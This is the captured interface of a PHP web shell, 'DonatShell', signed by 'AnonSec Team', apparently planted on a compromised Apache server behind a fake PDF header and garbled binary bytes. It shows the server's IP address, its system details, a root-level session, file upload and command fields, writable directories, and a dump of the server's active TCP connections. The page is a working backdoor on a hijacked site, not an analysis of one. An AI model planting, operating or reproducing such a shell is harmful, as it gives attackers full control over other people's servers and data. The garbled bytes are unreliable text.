%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/59/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/59/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:2710 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 38019 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36378 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:07D2 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28917 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36382 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:4AF0 06 00000000:00000000 03:000011C9 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:4B82 06 00000000:00000000 03:000011C6 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:735B 06 00000000:00000000 03:00000CA8 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:DE61 06 00000000:00000000 03:000004F5 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:C602 06 00000000:00000000 03:000011C6 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:DFAF 01 00000000:00000000 02:000AFA6C 00000000    33        0 1934134 2 0000000000000000 48 4 1 10 -1
  10: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:C2A5 06 00000000:00000000 03:000008DD 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:2C0A 06 00000000:00000000 03:00000CAF 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:EE79 01 00000000:00000000 02:000AFA6C 00000000    33        0 2012681 4 0000000000000000 48 4 3 10 -1
  13: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:0EAE 06 00000000:00000000 03:00001220 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:FDFC 01 00000E56:00000000 01:0000001D 00000000    33        0 2006891 3 0000000000000000 47 4 1 10 -1
  15: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:6B57 06 00000000:00000000 03:000004F6 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:7FED 06 00000000:00000000 03:00001204 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:4488 01 00000000:00000000 02:000B00D2 00000000    33        0 2011636 3 0000000000000000 50 4 1 10 -1
  18: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:0EC7 06 00000000:00000000 03:000004F3 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:528C 06 00000000:00000000 03:000011C7 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000050CFAB14:EA48 06 00000000:00000000 03:00000561 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:B78E 06 00000000:00000000 03:000004EE 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:CEB5 06 00000000:00000000 03:00000CB8 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:2163 06 00000000:00000000 03:00000C9C 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:0CA6 01 00000A25:00000000 01:00000027 00000000    33        0 2012682 3 0000000000000000 48 4 1 10 -1
  25: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:E04D 06 00000000:00000000 03:000011C6 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000050CFAB14:86A8 01 00000000:00000000 02:000AF405 00000000    33        0 2014448 2 0000000000000000 41 4 29 10 7
  27: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:1A00 06 00000000:00000000 03:000004ED 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team